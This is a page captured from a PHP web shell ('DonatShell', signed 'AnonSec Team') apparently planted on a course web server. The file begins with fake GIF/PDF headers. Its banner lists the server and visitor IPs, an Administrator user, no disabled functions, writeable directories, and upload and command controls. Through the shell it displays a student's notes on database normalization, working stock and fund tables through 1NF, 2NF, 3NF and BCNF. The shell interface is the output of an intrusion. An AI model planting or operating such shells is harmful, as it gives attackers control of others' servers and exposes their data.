GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1600/_Examples/Normilization/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1600/_Examples/Normilization/holowczak.txt
holowczak

1NF:
STOCKS (Company, Symbol*, Headquarters, Date*, Close_Price)

Company 	Symbol 	Headquarters 		Date 		Close Price
Microsoft 	MSFT 	Redmond, WA 		09/07/2013 	23.96
Microsoft 	MSFT 	Redmond, WA 		09/08/2013 	23.93
Microsoft 	MSFT 	Redmond, WA 		09/09/2013 	24.01
Oracle 		ORCL 	Redwood Shores, CA 	09/07/2013 	24.27
Oracle 		ORCL 	Redwood Shores, CA 	09/08/2013 	24.14
Oracle 		ORCL 	Redwood Shores, CA 	09/09/2013 	24.33

2NF:
COMPANY (Company, Symbol*, Headquarters)
STOCKS (Symbol*@, Date*, Close_Price)

company:
Company 	Symbol 	Headquarters
Microsoft 	MSFT 	Redmond, WA
Oracle 		ORCL 	Redwood Shores, CA

stock_prices:
Symbol 	Date 		Close Price
MSFT 	09/07/2013 	23.96
MSFT 	09/08/2013 	23.93
MSFT 	09/09/2013 	24.01
ORCL 	09/07/2013 	24.27
ORCL 	09/08/2013 	24.14
ORCL 	09/09/2013 	24.33

3NF: I am not sure this needs to be done. There is a case to be make that HQ can be left to relate directly to the company and remain in the COMPANY table.
COMPANY (Company, Symbol*)
HQ      (Company*@, Headquarters)
STOCKS  (Symbol*@, Date*, Close_Price)

company:
Company 	Symbol
Microsoft 	MSFT
Oracle 		ORCL

hq:
Company 	Headquarters
Microsoft 	Redmond, WA
Oracle 		Redwood Shores, CA

stock_prices:
Symbol 	Date 		Close Price
MSFT 	09/07/2013 	23.96
MSFT 	09/08/2013 	23.93
MSFT 	09/09/2013 	24.01
ORCL 	09/07/2013 	24.27
ORCL 	09/08/2013 	24.14
ORCL 	09/09/2013 	24.33

BCNF:
FundID 	InvestmentType 		Manager
99 		Common Stock 		Smith
99 		Municipal Bonds 	Jones
33 		Common Stock 		Green
22 		Growth Stocks 		Brown
11 		Common Stock 		Smith

Site result
FUNDS 		(FundID*, InvestmentType*@, Manager*@)
INVESTMENTS (InvestmentType*)
MANAGERS    (Manager*, InvestmentType)

My result
FUNDS           (FundID*)
INVESTMENTS     (InvestmentType*)
MANAGERS        (Manager*)
by fund
FUND_MANAGERS   (FundID*@, Manager*@)
FUND_INVESTMENT (FundID*, InvestmentType*@)
or by investment
FUND_MANAGERS      (FundID*@, Manager*@)
MANAGER_INVESTMENT (Manager*, InvestmentType*@)

Anon7 - 2022
AnonSec Team